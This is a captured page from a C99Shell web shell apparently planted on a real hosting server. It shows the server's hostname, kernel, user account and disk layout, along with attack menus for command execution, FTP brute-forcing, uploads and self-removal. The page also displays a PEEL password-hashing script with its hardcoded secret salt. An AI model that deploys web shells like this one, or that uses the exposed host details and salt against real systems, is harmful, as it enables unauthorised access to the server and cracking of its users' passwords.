!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/peel/   drwxr-xr-x
Free 293.47 GB of 429.69 GB (68.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update_pass.php (1.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$resp 
__get_user_password_hash('[[admin_pass]]');
echo 
'<update_pass>'.$resp.'</update_pass>';

function 
__get_user_password_hash($password$tested_hash null$password_given_as_first_password_hash false$password_length_if_given_as_first_password_hash null)
{
    if (
$tested_hash == md5($password)) {
        return 
$tested_hash;
    }
    if (!
$password_given_as_first_password_hash) {
        
// Création d'un premier hash du mot de passe
        
$first_password_hash hash('sha256''k)I8#;z=TIxnXmIPdW2TRzt4Ov89|#V~cU@]'.$password);
        
// set where salt will appear in hash
        
$salt_start strlen($password);
    } else {
        
$first_password_hash $password;
        
$salt_start $password_length_if_given_as_first_password_hash;
    }
    
// if no salt given create random one
    
if ($tested_hash == null) {
        
$salt_hash substr(hash('sha256''k)I8#;z=TIxnXmIPdW2TRzt4Ov89|#V~cU@]'uniqid(mt_rand(), true)), 06);
    } else {
        
$salt_hash substr($tested_hash06);
    }
    
// add salt into text hash at pass length position and hash it
    
if ($salt_start && $salt_start strlen($salt_hash)) {
        
$first_password_hash_start substr($first_password_hash0$salt_start);
        
$first_password_hash_end substr($first_password_hash$salt_startstrlen($salt_hash));
        
$hash_rough hash('sha256' 'k)I8#;z=TIxnXmIPdW2TRzt4Ov89|#V~cU@]'$first_password_hash_end $salt_hash $first_password_hash_start);
    } elseif (
$salt_start > (strlen($salt_hash) - 1)) {
        
$hash_rough hash('sha256''k)I8#;z=TIxnXmIPdW2TRzt4Ov89|#V~cU@]' $first_password_hash $salt_hash);
    } else {
        
$hash_rough hash('sha256''k)I8#;z=TIxnXmIPdW2TRzt4Ov89|#V~cU@]' $salt_hash $first_password_hash);
    }
    
// put salt at front of hash
    
$password_hash $salt_hash substr($hash_rough026);
    if (empty(
$tested_hash) || $tested_hash == $password_hash) {
        return 
$password_hash;
    }
}

@
unlink('update_pass.php');

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.197 ]--